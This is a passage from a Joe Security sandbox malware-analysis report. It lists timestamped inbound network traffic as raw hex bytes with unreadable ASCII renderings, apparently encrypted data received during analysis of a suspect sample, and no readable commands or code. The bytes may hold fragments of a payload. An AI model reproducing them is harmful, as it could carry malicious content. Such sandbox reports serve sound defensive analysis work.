2022-01-14 11:23:07 UTC 1398 IN Data Raw: e0 8b a9 99 f8 a2 c3 06 84 0f 07 2d 5f 15 22 30 2d 51 3b d0 84 56 7f 2d e4 80 ac 4d cb 39 00 c4 2f e8 86 ca 3e 
16 b2 ae 9e 88 8f 36 ac 15 31 0d 6e ed f4 3e b6 c2 a1 c0 7e 92 d1 f4 2a 55 68 b6 0a f8 3b c7 31 e5 ef 9f 46 07 fc 22 47 8d 
f1 10 fd ad 26 90 1c 1e fc a1 00 a7 84 89 39 8f 97 c7 8b 3d 49 bb 6f 78 16 8d f2 3e 71 e4 17 3b 10 ee fc 46 f1 5d e5 c7 e0 
e5 11 7e cf 67 18 c0 91 d5 94 91 ab fc 94 f8 c4 06 d1 d8 da 19 e6 4c c0 1e 69 ea 2a 3d b0 d2 d8 e0 87 d2 25 65 0b ef 6b 
28 3d 16 c5 c9 3c 42 05 66 c8 a1 b4 de 6c 7e 3f c8 25 06 32 18 af a3 c9 3d 19 da 94 0a ae 35 50 dc 54 8a 7f a2 1c d7 9e 
5d 58 40 ad a9 45 92 5d 7d ce 70 09 50 0a 23 52 73 aa 3e ba 93 3f af ca cc 81 98 02 59 62 36 33 59 91 49 cd 8a a4 38 cc 
d4 1d ba 84 0d 53 7e ac f1 d6 40 d3 1a 07 07 56 
Data Ascii: -_"0-Q;V-M9/>61n>~*Uh;1F"G&9=Iox>q;F]~gLi*=%ek(=<Bfl~?%2=5PT]X@E]}pP#Rs>?Yb63YI8S~@V

2022-01-14 11:23:07 UTC 1414 IN Data Raw: 19 6c 19 04 05 3e 35 9b c9 27 56 47 15 e5 08 bd dc 9d f6 70 ed 12 c7 49 0b eb 7c 47 e0 31 55 69 78 ee e2 26 
58 94 b3 48 d4 ce af 01 df 66 03 0a 6c 84 e0 89 9a 68 71 b6 24 57 8e 5a 52 2f 46 51 7a 11 da 9c 08 8f 18 b1 bb 1a f2 d9 
1b 05 df ff 50 7e 5c 80 59 35 0b f8 82 ac 55 d9 73 5d 1d 18 be 6f 92 33 70 44 20 f5 52 41 1e a2 c8 cd ae 94 91 dd 94 96 b3 
8c 2a cc 26 b9 88 22 91 d1 86 36 84 d0 c1 7a 98 0e 4c 8f cd 37 33 18 96 3b 5e 6f 7c c6 d8 77 52 59 64 a8 3e fd 07 66 62 
6e cd 11 b3 f4 2b 3f 2b 95 79 56 0c 57 25 a6 d0 92 35 74 b8 f6 e7 44 ec ae 96 96 28 72 b5 3c 53 69 9e 38 22 dd 9c 83 30 
2d 73 b7 53 9a b8 ec 33 32 41 e5 ec a7 63 9e 15 89 50 a9 99 56 42 90 df 62 b6 de 19 a4 c9 a0 8e c6 7b cd 06 b3 32 da f9 
0a 16 ba 1b 6e b9 23 17 09 64 c6 56 17 40 dc 7b 65 be 
Data Ascii: l>5'VGpI|G1Uix&XHflhq$WZR/FQzP~\Y5Us]o3pD RA*&"6zL73;^o|wRYd>fbn+?+yVW%5tD(r<Si8"0-sS32A
cPVBb{2n#dV@{e

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2022 Page 86 of 119



2022-01-14 11:23:07 UTC 1430 IN Data Raw: 06 4e f1 4c 81 eb d6 05 94 a6 50 e6 35 7b 89 bc 0d a5 75 19 aa bd 44 e3 e0 6e 54 b6 bc 12 2a 85 3c 07 95 f1 
1d 52 8f c7 ea 28 ed 5f ad 41 ac 46 49 92 e5 e7 e9 c5 14 ff 2e 6b 8e 5d 36 25 4d 2d 75 c3 3f 4e a0 c6 f3 f3 19 58 ee 2e d5 
c9 b5 5b 16 02 53 3a 24 56 a5 1b a5 76 ce e3 2e 46 6e 25 69 7b b9 ec f7 6e d6 1b bf 22 00 63 13 5e 22 c9 7f 1f 17 a1 75 
49 7f 6c 64 7e 09 40 fc 7a 2a 9e fb db 54 d4 56 54 c5 23 56 54 2b ae 37 e6 3a 60 8d eb 6b 89 e1 69 4c 2d ae 24 16 7a aa 
60 58 39 01 c0 fe 4e 64 32 77 da 48 d0 d6 7d d8 79 57 02 a1 bb 6e aa c9 b5 13 2b b0 86 e9 e1 48 cb aa c4 96 0a 45 b6 
17 24 27 77 cc e5 43 41 a6 60 cc d1 7b 0f c2 ab 2a b4 34 ca 37 93 c3 28 45 e4 3c 98 84 ee 02 c4 7f 5a 5e 5e 84 2d 15 c5 
29 56 1b c3 11 b2 36 71 57 a2 44 ae 8e 2a dd 8c aa c6 ac 
Data Ascii: NLP5{uDnT*<R(_AFI.k]6%M-u?NX.[S:$Vv.Fn%i{n"c^"uIld~@z*TVT#VT+7:`kiL-$z`X9Nd2wH}yWn+HE$'w
CA`{*47(E<Z^^-)V6qWD*

2022-01-14 11:23:07 UTC 1446 IN Data Raw: 7f fe 15 c6 94 ac f6 e7 0a 9f d6 35 86 83 0e b6 67 1c 61 bd 4b 89 5c 57 9c f6 1c 04 b9 47 eb c9 2b 89 e8 75 6f 
29 42 cd 0a fc 2c 76 44 5a fe 3d d1 76 f9 15 af d9 91 95 7e bd 2d d4 d0 08 c1 87 70 62 8c 68 07 4b b2 9e 00 89 71 4f 7e 
05 4c ff 17 69 b1 d7 84 e5 0d f1 a2 5d a8 64 83 90 74 90 43 60 04 ce c2 fd 2f 47 d5 60 ff 80 69 35 0a e2 fd 87 1e 7c e4 5e 
ad e7 57 4a 58 1e a6 9a 04 b7 10 76 f2 66 20 dd 87 ed 4c 98 4d 43 2d 00 e5 ba d1 f7 52 24 eb b7 ee b7 a6 39 18 b3 cf e1 
da 19 5a 2a 21 c4 a2 5f 4d c5 a1 29 c0 b0 f8 c5 b1 90 25 48 9c 49 0d 45 cf b4 0a de 4b ef 98 06 a1 f9 d4 bd 81 8c 36 ca 
9b bb a8 9b 70 09 b7 6b 03 3b 88 48 3e b6 bc 7e 97 3e 34 f7 c4 d7 b4 69 a0 7f 16 95 27 e3 7c db 53 07 d1 da ce cd 4c d8 
12 e0 fd 16 7f 9f 74 72 4f 86 86 67 17 5a 40 4b 55 
Data Ascii: 5gaK\WG+uo)B,vDZ=v~-pbhKqO~Li]dtC`/G`i5|^WJXvf LMC-R$9Z*!_M)%HIEK6pk;H>~>4i'|SLtrOgZ@KU

2022-01-14 11:23:07 UTC 1462 IN Data Raw: 48 e2 24 5b 86 be 44 68 74 44 fc 51 fc d5 75 82 10 87 d0 df 9b a4 44 ec b6 29 ca 96 8f 4a 8b 2e a5 9b 8a f7 90 
77 da 0f 3f 11 c3 a9 18 48 b2 b6 d9 db 68 0a fe 0d d1 69 94 ed 0c e5 29 84 65 04 02 2a b9 4a fb 19 6c 85 08 5c 49 1e ba 
b0 eb b6 aa fe cf e2 58 15 a4 fd cb 30 1e 1c c0 7c 5c da ab 3a b7 4d 01 df 83 72 ae df 19 c2 13 29 ed 2b 61 3b 06 87 c6 
5b f2 9c 6b c1 a5 b0 89 a6 53 a8 c9 9e b2 fe ed 1c a5 ef 15 9c b9 d8 60 ee 19 16 6b 14 2f 5f ee bc bf 52 cc f8 90 72 1c c8 
41 61 73 c2 ca 23 99 92 21 f4 80 be 7c 24 40 4c c4 46 89 17 70 f7 b8 17 32 49 78 89 9d aa 96 a7 d7 ae 11 87 be 71 8a 78 
3c 36 ef 02 5c b8 69 ec b4 5f 04 ca c5 fe c2 0b 8e cd e1 c0 a1 dd 38 d2 49 64 8c f7 fc 05 3c 5c 3b c2 1c 3e 7d ad 10 fb 03 
ea 1c 5e 69 4e 9a c9 1f 28 82 51 e6 d2 3c 5c 93 
Data Ascii: H$[DhtDQuD)J.w?Hhi)e*Jl\IX0|\:Mr)+a;[kS`k/_RrAas#!|$@LFp2Ixqx<6\i_8Id<\;>}^iN(Q<\

2022-01-14 11:23:07 UTC 1478 IN Data Raw: bc fc c8 84 41 b4 80 cb 37 47 a6 ba 4c 60 a2 de ac 87 16 89 5b 02 cf 68 76 22 71 70 82 68 92 63 27 58 7b fc 
9b 79 da ed 2f 59 ab d2 5e 5b 82 94 ef a1 21 96 78 aa 80 15 d6 00 5f a8 5a e1 d3 00 40 ea d0 df 54 00 5f 77 ae 94 64 03 
1e 91 0f 83 07 fb 77 e1 a7 bc 79 78 de 2b d8 61 11 86 02 98 68 21 f3 3c 5d 60 fc 3c 07 a7 94 2b 7b 1c 01 26 c5 43 02 02 
60 68 fe 1f 12 6d 64 a7 c3 61 59 ef 77 db 47 04 b4 14 19 83 24 68 b1 46 ca df 11 fd 85 5b 0c 26 f9 f8 2a 8c 82 38 74 c4 19 
5d 29 8f fa 88 90 8c 73 36 ea a2 13 da 8a 56 ce 24 95 54 57 af f3 1e 0d da d7 13 96 a3 e0 c2 75 ba 1e 3b 5f 08 1b fe 0e 
92 8b 79 bc a5 7c 7e bb 43 c8 a8 8d be 51 5d 38 9d 19 ab 91 ef 90 ff 11 89 e3 43 5b 28 ae 5d 04 43 0e f9 db 9c fa 9c 40 
76 69 d7 90 25 89 36 8a 34 c6 ea 13 1f d9 11 ad 2a 2e 
Data Ascii: A7GL`[hv"qphc'X{y/Y^[!x_Z@T_wdwyx+ah!<]`<+{&C`hmdaYwG$hF[&*8t])s6V$TWu;_y|~CQ]8C[(]C@vi%64*.

2022-01-14 11:23:07 UTC 1494 IN Data Raw: e0 11 2e a7 50 bc 05 5e f5 e8 a5 78 17 00 09 10 f1 d1 4f 52 81 77 12 42 85 53 0f d1 62 53 8e 8e c8 46 2b 22 
db ef 98 c0 d2 7f a2 c7 77 e7 85 10 75 97 49 1c 38 75 a5 b2 3d e2 6a 6a 36 a7 18 4d 76 7c e4 d7 5e 56 31 f8 9a 13 99 d8 
fb 32 34 15 8c 17 0d ff 59 45 77 77 e1 7f e1 79 41 81 d4 e8 6f bd a2 dd 34 99 de 58 36 25 8f 16 80 a3 9c 66 3d 1e cf 16 
67 9b 69 14 15 64 77 a6 08 74 15 5e a1 b7 ba 39 22 84 05 4f db 74 5b c4 66 00 3d 68 5b 89 59 d4 38 9e 62 5e 3b 87 98 
a8 89 33 03 8a 36 c9 63 b2 78 cb 94 37 b1 a6 33 87 a6 25 89 2a 15 91 f2 4b 3f 93 5a 25 5f f0 6c 5a d7 1c 89 a7 af 2e dd 
3c e7 1e 4f 72 c9 67 a4 fd 97 92 84 eb 13 2b 05 af fb 79 1c 49 55 d6 8c cb 7f f5 a8 71 83 c2 69 e6 9a 5d 81 fc 37 1a 59 3e 
f2 b9 d3 71 cd a8 56 2f 8e 62 29 8b d5 13 7e 46 35 55 a3 
Data Ascii: .P^xORwBSbSF+"wuI8u=jj6Mv|^V124YEwwyAo4X6%f=gidwt^9"Ot[f=h[Y8b^;36cx73%*K?Z%_lZ.<Org+yIU
qi]7Y>qV/b)~F5U

2022-01-14 11:23:07 UTC 1510 IN Data Raw: 06 b7 dc 0e d6 55 a8 ce 0d 61 42 f9 df 3c 97 e2 a2 d6 e3 4e 9c 66 6d 2a e8 72 c8 63 db a5 61 b6 f1 4f 02 c4 20
30 55 9d e1 73 10 71 7d ff 3d 0c de 69 74 51 6c 56 97 86 74 0c 5c 8e 40 9f 47 fd 84 ca 26 e3 90 44 3f e6 c7 fe 60 6a 00 e7 
af c7 0a 72 52 4c 46 53 ba c4 82 6c 7e f0 04 bc e3 92 21 90 78 3f 4b 8d 75 f7 d8 ba 15 0e 87 b3 03 2a 22 67 65 d0 b8 75 
3f d9 e9 df 93 f4 82 2c e2 08 84 b2 d7 9c 95 45 67 63 76 42 18 52 5f 2b 78 b4 17 d7 65 5d 76 25 19 43 76 2a 0a 90 4f a6 
5b 77 cb ad af 60 06 0f df d2 95 96 e6 f6 5c 6f 86 1a 7a 06 aa cf 69 21 51 c9 16 78 69 56 8d dc a9 a8 c3 ca 8b d3 6d a6 8d 
be 2f 0d f9 a5 b3 13 27 31 6e cd 9a 50 a2 ce 62 3d c2 46 39 81 ef 9f 85 2d ec 11 09 cf 34 9c 6f 32 92 ed 12 55 0b f8 82 46 
55 2e 6b 38 39 e5 83 d9 dd 43 5e 5f 9a c6 76 
Data Ascii: UaB<Nfm*rcaO 0Usq}=itQlVt\@G&D?`jrRLFSl~!x?Ku*"geu?,EgcvBR_+xe]v%Cv*O[w`\ozi!QxiVm/'1nPb=F9-
4o2UFU.k89C^_v

2022-01-14 11:23:07 UTC 1526 IN Data Raw: 3d f8 80 ab 07 4a 06 ea 03 91 a4 ec 26 0e e8 b1 10 d2 a2 38 9e 88 02 e0 86 11 6d d3 41 27 00 d1 9f e0 30 d5 
1e 9e 56 0e f3 57 29 81 26 b4 05 5f bf b7 9d d3 c4 f3 48 05 92 2e d2 9b 8d ce 65 1e 9d 9d 63 ed cc ce 38 bd a7 6a fe f9 fc 
4d ca a4 ae 81 c3 ad 73 5f 52 99 e2 a7 2d c5 e8 93 15 97 89 b1 58 88 2f e5 62 33 32 55 f4 e0 e1 ea 17 48 c3 3a 9e ad e1 
ee 6e 3a 1c ac b1 f0 a4 55 17 bc 1b ec 1d 98 d3 2f 02 7a 25 b8 15 5f 76 02 8c 94 e3 a1 8a 9d 4d 1b d3 d4 dc b1 f7 46 b9 
90 68 23 13 d6 48 a1 14 1c d9 67 86 53 9c c6 f9 40 28 ba c2 2a 4a 32 b0 9e 96 f3 2e 6e 1f b4 bb 59 ca e0 5f 04 30 05 87 
7e e2 b3 01 28 d3 0c c3 99 d9 1b 88 61 7d f2 4f 7c 4e 3a 58 5d 6a ac 80 eb 34 96 66 43 d0 8b fd 4e 2b a6 06 aa 23 49 1c 
de d4 37 e4 d6 ea 1c ec 63 d6 3a 61 5a 4e 93 84 c6 7c 
Data Ascii: =J&8mA'0VW)&_H.ec8jMs_R-X/b32UH:n:U/z%_vMFh#HgS@(*J2.nY_0~(a}O|N:X]j4fCN+#I7c:aZN|

2022-01-14 11:23:07 UTC 1542 IN Data Raw: 93 b7 3e 6f 33 fa 82 d0 cf 61 11 ff bf 3e 72 d3 cb 71 07 3d d5 32 a4 f8 33 e2 e2 d7 c9 c5 56 49 0f 31 c5 41 76 
07 97 90 32 22 a7 f8 da 0a 8d 3a 72 47 47 77 fc f2 cd 63 70 0f 24 2e 96 00 73 76 f6 69 8f a9 c0 36 83 74 96 e5 a0 2e 4d 
90 d0 6f 24 35 58 1c a1 4f 4f 9b a9 bb 98 2f f7 77 f1 20 e1 67 45 7c 90 14 fe d6 35 c6 1d 1b 93 86 d4 db 58 ce a4 49 0d c5 
02 d1 22 90 a1 e5 25 5b 61 32 30 8a 98 4d dd 15 6f cf 59 1b 2c 8b cf 4c 5b 5f 03 06 31 58 83 19 80 a4 e6 ea 8b 20 cf 3b 
78 74 68 e7 98 d9 64 b6 ce 08 4e 8e 9b 72 9f c5 88 71 d4 92 97 ee 33 3f 27 db 77 32 9f ae 30 fb f6 59 84 b9 87 f2 74 94 
40 6b de 65 4d 91 93 9f 4a 02 b2 88 0f db b5 dd 95 f9 e6 dc 67 cc ff 29 51 3e a9 67 8e 44 38 d9 b2 be e1 3c 8e 3e 68 b4 
ed 6c 32 21 9d 76 97 12 5e 68 77 27 84 ef 86 ff a0 
Data Ascii: >o3a>rq=23VI1Av2":rGGwcp$.svi6t.Mo$5XOO/w gE|5XI"%[a20MoY,L[_1X ;xthdNrq3?'w20Yt@keMJg)Q
>gD8<>hl2!v^hw'

2022-01-14 11:23:07 UTC 1558 IN Data Raw: 40 54 9f 4f 50 06 2a 65 24 93 6c 48 80 66 35 68 ea 12 9c 93 d2 1a ab 8a 2a 7e 73 e5 e9 33 f2 d5 a7 f3 b4 e7 
ab 93 3b 54 7c 36 44 2c bb 44 65 50 6c 4c 4f 1f 25 6a df 95 2d 86 97 93 a7 55 fb 68 63 18 84 c6 ef 1c b1 fe 99 b8 4f 16 d4 
0b ca 30 c5 00 60 6e 55 96 c0 03 0f f8 eb d5 2b 6f cf 57 cd 92 74 54 99 e3 e0 a7 4f 9c 9b 44 78 9f c3 05 a3 2d 48 52 c0 c1 
a3 e6 8a 34 77 b8 62 08 bf d6 52 b5 16 91 bb 36 48 bc 1a e7 7f 3e 94 ec f2 a0 8f db 93 fc 43 bc 12 ff b8 52 e1 f7 32 d8 a1 
34 c8 38 e1 12 d1 f6 a7 1e 56 90 03 a1 9a 99 6f 54 23 c0 65 47 3c 1b 7c fe 53 b2 3a 62 cd 31 32 24 d9 3a 58 67 71 cb 32 
6b 9f ab c6 cc 19 92 00 a4 67 c3 67 c4 b3 fc aa 9c 7c 42 5e 21 dd f4 de b8 73 75 e5 18 d6 8b 4b 73 45 f7 6e 80 a1 46 1c 
72 78 ac b7 a0 b3 fa 70 a2 e0 61 e2 ac 52 ce bc 
Data Ascii: @TOP*e$lHf5h*~s3;T|6D,DePlLO%j-UhcO0`nU+oWtTODx-HR4wbR6H>CR248VoT#eG<|S:b12$:Xgq2kgg|B^!
suKsEnFrxpaR

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 1574 IN Data Raw: 89 33 23 45 96 b5 99 4f a4 1f 21 e7 79 2d 41 73 f8 32 89 da 8d 5c 78 c3 3f 24 32 1c 89 fb 1a d4 88 03 41 52 8a 
4c e2 ce 40 8d d9 4a 77 e3 07 d6 6d 3c 2b fe fe b6 1b 62 a1 74 2d 02 3d 24 6b 9d 66 95 3f 3f 8e 4c a9 34 2a 5a e2 70 c3 
1a 17 40 00 7a 2b 8b 05 a1 90 50 ed bd 05 28 dd 82 c3 f3 69 64 b7 53 27 6f 27 28 e5 8f 61 4d 2f 2f 11 6f 58 62 9f 77 14 2b
2a 78 dd 95 d0 20 4a 4e 74 31 b9 16 0d 1c f4 07 f6 c4 c1 ab c9 b6 ec 12 9b 0b cf 5d 47 6f 3b 87 62 2b 7a 7b 8c 5e 27 1f 
c5 8a d3 c1 28 d4 0b cf 65 57 e4 5d 94 0a d5 d8 23 8b e2 a7 9d 4b 8f e6 ef 57 12 7a 0b c4 df 54 bc ef 8b a6 2b 20 90 b0 
44 89 f4 9f e2 5e fc 30 6d 5d f4 31 3b cd 94 61 e7 8e 0b d8 a0 2f c8 a0 8f 24 c4 db c4 50 75 44 30 54 f7 47 e9 c6 2e 70 03 
78 27 ec 7a e5 5b 45 5a 5c 92 66 78 b4 d5 84 c5 
Data Ascii: 3#EO!y-As2\x?$2ARL@Jwm<+bt-=$kf??L4*Zp@z+P(idS'o'(aM//oXbw+*x JNt1]Go;b+z{^'(eW]#KWzT+ D
^0m]1;a/$PuD0TG.px'z[EZ\fx

2022-01-14 11:23:07 UTC 1590 IN Data Raw: 55 fe 4d 9c 06 0a 94 45 8e 42 de 2f 02 6e 46 75 a5 87 ec 4c 50 3c 4f 28 9d bc 3b c4 79 6f f7 5e 36 86 f9 84 ea 
c8 49 21 2f df da 52 4a c3 3c b6 eb af a4 8c 29 7e 86 28 43 4b 9f 37 08 b2 af c2 e8 5f bb b5 e8 27 4a 04 3e 0b 63 ec 5d 8d 
8e fc 77 2a 97 be 6f c5 75 35 b8 94 0c bc 0f d9 2b ed 70 06 b6 98 c9 e2 58 57 7b 76 ad d9 f7 91 26 d5 bf d8 90 43 ff 94 63 
09 72 07 00 46 86 aa e1 78 97 a3 40 f7 ee c5 de 10 6d 60 79 18 01 43 48 79 15 99 97 7e 45 9f bc 38 d4 b6 fe 38 40 89 ee 
3f 32 df 3e 9f b7 e9 0a d6 2f ce 7a 51 9f 7c 6c b8 38 ea 26 07 a7 08 dc a1 07 ec e3 fa 96 44 b4 4d b2 d1 1e fb 2c da c6 d4 
bb c8 35 76 98 26 1f b7 62 20 a1 c7 4b 58 31 5f 18 fa 83 d3 34 1b 80 77 3b e9 63 84 c8 6a ee 75 44 f0 0d 79 1b 96 37 41 
dc e1 a4 65 e7 fb 33 cb 89 6f 0d b2 74 80 e8 
Data Ascii: UMEB/nFuLP<O(;yo^6I!/RJ<)~(CK7_'J>c]w*ou5+pXW{v&CcrFx@m`yCHy~E88@?2>/zQ|l8&DM,5v&b KX1_4
w;cjuDy7Ae3ot

2022-01-14 11:23:07 UTC 1606 IN Data Raw: e1 21 6d 2e fc eb 4f 24 91 33 3c d4 0a bc 70 d1 40 da 09 97 2b a0 d9 29 c2 d9 3c 8e e2 45 8e 1c 92 7c 0a 5f 
ae a7 8d cb b4 d3 17 50 86 f4 59 83 5f 4a 02 cb 3e 7c 40 d5 03 9c 67 95 50 cb 4a c5 a1 41 b0 3f 0d 64 90 61 29 f0 7b dd 
46 0a 90 e9 59 ba 0e b9 b1 44 c8 f5 90 bc ee d4 b1 55 d4 03 df 20 b2 6b 90 f4 06 03 eb 8f 92 2e 9a b0 35 33 e5 8c 91 96 
63 c8 e6 78 05 89 50 92 22 db d0 17 c6 70 fd e1 e9 56 e4 37 36 fb c2 8f 43 d2 eb 4a e6 40 1e a8 10 98 ae 12 f7 8d 01 cb 
1d 56 b0 ba 1b 57 87 45 65 83 88 57 28 01 0f 14 60 6a d2 51 10 e3 3e 9e a0 d0 d8 8b 5f 20 7b af c5 bd 15 16 e0 60 00 02 
d7 d4 be 20 60 65 6c 92 67 d2 54 2e 0f ac 66 34 f8 31 3e c6 83 fa d8 f8 c0 80 54 1d 09 68 43 0c c0 69 9c 75 c6 55 2d 55 
1e be df 67 fc 8a 18 0d 97 8f ad b6 92 f3 10 5a 9a 89 11 
Data Ascii: !m.O$3<p@+)<E|_PY_J>|@gPJA?da){FYDU k.53cxP"pV76CJ@VWEeW(`jQ>_ {` `elgT.f41>ThCiuU-UgZ

2022-01-14 11:23:07 UTC 1622 IN Data Raw: 82 3d 70 41 63 23 5b 5b 9b db 6f 72 bd ee 1c 3d 0e 67 c4 ac 3e 86 13 2f 0a 18 94 75 de 0b ca 55 6b 1f ea 7f 
e7 0e 8f cb 0e 99 40 0b 9e 6d 05 f8 29 c6 85 9b e1 6b 17 e7 39 a7 57 85 8a dc 37 51 2d af 3d c9 57 53 5c 2a e8 f5 5c 67 
ea 41 ed 9e f6 25 aa 28 e2 fd a4 3f ef 63 fd 69 13 31 b0 8e 48 18 d1 8e c7 35 cc 94 a2 f0 a6 cd 59 3d 5d c5 de da 73 b7 
12 ea 0e 54 8b f2 f9 ce cb e9 2d b2 79 f1 85 b4 c4 6e db 8c b2 14 88 f2 7c 22 f6 de d3 30 ae af 0d e0 5d ae b7 5f ec cd d6 
22 9b 0d 6f 87 a1 b3 82 f6 70 8c f2 50 8d e5 c9 9c 3e c3 ee af f5 97 72 88 21 19 6b c9 30 3c 25 8c 5a 1e 3d 3c 80 ec a4 
15 04 3f 87 69 17 b1 51 7f 81 25 14 29 a8 58 aa a2 d6 ca 58 59 8d 45 72 42 cc 0a 2c 4a 57 bc 10 49 7c 4d c4 d5 68 3c 1d 
98 d3 e4 c3 e5 a4 0a d7 67 74 65 aa dc 64 5c 0f 9a 12 
Data Ascii: =pAc#[[or=g>/uUk@m)k9W7Q-=WS\*\gA%(?ci1H5Y=]sT-yn|"0]_"opP>r!k0<%Z=<?iQ%)XXYErB,JWI|Mh<gted\

2022-01-14 11:23:07 UTC 1638 IN Data Raw: c4 7f 00 0e 59 2b 67 da e9 d0 15 d2 ef 98 b4 0a 5a d6 82 80 e4 b2 e4 b9 5c 9c 20 56 49 e5 9f 75 76 3a b1 7d 
60 f9 79 5a 83 f6 93 73 b7 1d 65 87 b0 55 ed 98 95 5a 1c e7 4c 5d 48 bf 11 2b 36 b3 38 d9 a3 74 43 40 1d 45 6e 66 96 93 
29 57 43 32 13 db 3b a9 62 8a ed 46 44 f2 4f 90 6e 2a 26 9e 38 8e 5a 55 ac 07 e6 5c 54 88 97 20 8a 94 26 d8 bd e0 2f dc 
96 58 ad 7b 60 1f 2a 86 cf 6c 7a af cc 2a fd 27 3f 26 e4 51 6d 1a 62 46 83 4c 22 c0 ac ea bd 7c 3e 99 32 10 70 22 3d 08 
d9 bc 37 c9 e0 9d b3 fa df 50 d9 44 80 ad 8b 0f 9a 62 3c ca 67 35 c7 da 85 23 80 80 f1 11 17 98 12 d6 1e 39 09 05 b2 69 
11 a5 c5 c0 82 a7 b6 d4 1b 9e 77 1c 26 50 69 89 31 ac 5b 54 3b 57 2e ab 99 ec 24 a5 37 a9 c6 94 36 77 1e c7 dd af bb 5b 
a7 2f b2 e3 fb 9f b2 5f b8 d2 c7 d9 93 0d bc c7 93 c2 25 
Data Ascii: Y+gZ\ VIuv:}`yZseUZL]H+68tC@Enf)WC2;bFDOn*&8ZU\T &/X{`*lz*'?&QmbFL"|>2p"=7PDb<g5#9iw&Pi1
[T;W.$76w[/_%

2022-01-14 11:23:07 UTC 1654 IN Data Raw: 1c 47 1e 3b 65 06 53 cc d2 75 f5 72 37 9e 9f 2d ce c3 b5 f3 35 57 f5 c6 15 9a c2 d4 dd ea 84 32 6f 89 0d 09 1d 
0e dd ff 11 4e f7 fc 14 54 12 22 98 76 80 10 c2 75 61 db 98 73 d7 4a a0 da aa a7 cb d7 e3 91 f1 73 e6 96 f7 27 c0 f8 81 22 
98 00 fe 5b 6b 49 21 94 49 43 53 fa 17 4a ca df 98 55 1e 2b 45 9c bc 84 6c b9 17 67 ea ee fb ac e5 1f be b3 09 c9 db 11 
21 df 4b a8 2c 0a e9 a0 f3 27 f7 0b 97 20 a0 62 69 71 eb 05 3d fe a8 19 7b 05 2f c6 4a 22 3f b1 84 f6 83 11 7d 54 23 24 e8 
ae 57 fc 89 85 84 88 89 00 4b bd 3c 95 db 54 6b c8 8e b5 cd 91 88 2b 15 f0 26 a2 a7 77 5b 77 24 07 eb b0 de 23 fa 5d 10 
9e 34 5f cb 76 71 f3 44 ed aa 46 18 39 60 27 ea 3c 00 1a 0a 97 c4 ac dc ed 72 2d 23 b4 24 44 f3 00 8e 1b 4f 78 a6 07 7b 
21 1c 29 45 63 c6 5a 84 11 a7 45 86 37 7e a7 23 
Data Ascii: G;eSur7-5W2oNT"vuasJs'"[kI!ICSJU+Elg!K,' biq={/J"?}T#$WK<Tk+&w[w$#]4_vqDF9`'<r-#$DOx{!)EcZE7~#

2022-01-14 11:23:07 UTC 1670 IN Data Raw: 48 e4 de d1 79 7b e9 8d 86 43 b3 4f 95 dc 3a ef 05 35 e9 89 60 29 10 1f e6 9d 1e 07 b5 05 58 8e 9c fe ff fa 0e 
7c 2a a2 3a 31 a0 77 61 b7 be 18 ba c8 b9 0e 58 12 c5 b4 e7 89 b1 65 4e 2e e7 dc 19 e2 d2 f3 96 f0 6b c3 72 7d 17 07 aa 
0f 9a 88 b4 07 e7 45 34 ab f3 4e 12 c7 46 43 42 2b 76 34 eb 20 63 40 84 81 a9 4a 65 af 61 90 52 99 4f 0f 82 f2 0a f5 9f 03 
82 26 d8 37 29 8a 63 bc 53 91 71 de 81 6b a3 a8 b1 4a 3e 15 57 3f 5c be 96 61 80 6d 9f e3 8e dc 48 d6 84 60 cb d6 91 70 
44 31 f6 25 e7 92 e2 39 b5 cc 62 cc 8a 91 e9 8d be 7b 59 7b b4 c4 0d 6e c6 fd a2 ab 86 7a 8b 2e cf 99 da d1 9e 11 f6 cd 
ae de a7 d0 e0 d9 07 fe 8a a2 81 81 42 a7 48 9a a0 aa 29 e2 c4 c4 e5 bc e3 8c a6 d5 88 3f 84 d1 d0 c0 56 c9 29 cf 66 f2 
17 71 55 fc 74 87 27 a3 68 05 f6 d0 3d 79 7e 21 a2 
Data Ascii: Hy{CO:5`)X|*:1waXeN.kr}E4NFCB+v4 c@JeaRO&7)cSqkJ>W?\amH`pD1%9b{Y{nz.BH)?V)fqUt'h=y~!

2022-01-14 11:23:07 UTC 1686 IN Data Raw: 09 db b6 c0 35 ba ff fe a9 ed d0 3b b5 c5 64 c5 71 7c 97 81 ba 3b 03 44 3b 02 b7 e6 0b e3 32 d7 dd 1a b5 ba 
99 41 41 9f f9 4f e1 6a ac 69 27 84 08 70 3e fe f7 b8 a3 05 9c 98 f4 f3 28 0d 20 22 6d 46 79 fe bf 8b d5 91 b5 99 00 aa 96 
09 70 df e4 6d 1a c9 10 a9 24 ba 91 2a dc d2 a1 ea 51 68 da 72 20 81 12 4d 42 31 3f 86 e8 00 4a 8c 6b 86 97 78 c8 9d ba 
0d 60 47 17 55 7e 80 3c c8 40 bb 74 bd b8 b1 b2 75 fa f2 60 94 6c 7c 84 48 72 83 a7 89 27 2f 4b 56 4d 17 e2 db fc 86 f0 
11 54 7b 6e 09 10 61 d7 23 22 0a 58 cb f8 91 4a 61 c4 86 26 e2 ba 6b 28 bd 10 a1 5d 1d 5f 2c 25 72 b2 80 2a 57 e3 4b 3a 
8f 9b 01 35 3b 48 03 2e a4 85 b7 47 72 6f 30 df 0b 36 0d 8a 05 18 95 cb c9 23 66 ec 2b 1e 0e 87 88 92 c3 88 fa ff 9e ac 
00 82 e4 ae e1 03 c6 80 df 9d b4 8f 65 eb 24 d7 73 8c 
Data Ascii: 5;dq|;D;2AAOji'p>( "mFypm$*Qhr MB1?Jkx`GU~<@tu`l|Hr'/KVMT{na#"XJa&k(]_,%r*WK:5;H.Gro06#f+e$s

2022-01-14 11:23:07 UTC 1702 IN Data Raw: 40 df 10 fa 58 a6 d1 5d a1 ac 40 21 3c d6 3d ce 7b dd 1b ab 83 2e 63 09 36 17 3e d2 ae f9 7c 92 c0 0d f3 a4 07 
0f 5d 46 c4 50 a8 39 d3 fa ac 10 d6 cf 23 0e 3f c4 f5 91 fe b4 5d b3 e7 e2 93 c4 f5 08 36 7b 0f 09 e9 10 5a ab a0 06 15 3a 
78 ad c4 82 c8 fb c6 cc 66 d9 4b 44 84 1f cf b9 2a a0 23 08 4a b9 d9 a8 a3 bb 79 2d d7 10 02 a1 fb eb ec 11 43 f7 cd 7c 
bc 14 e5 6c 04 a0 c4 fc b7 3f 89 e6 39 9f 4d dc d1 fe fe 4f 36 a5 6e ad f2 06 7c 97 b2 9e c6 1a 90 fb 45 be d2 92 a6 82 35 
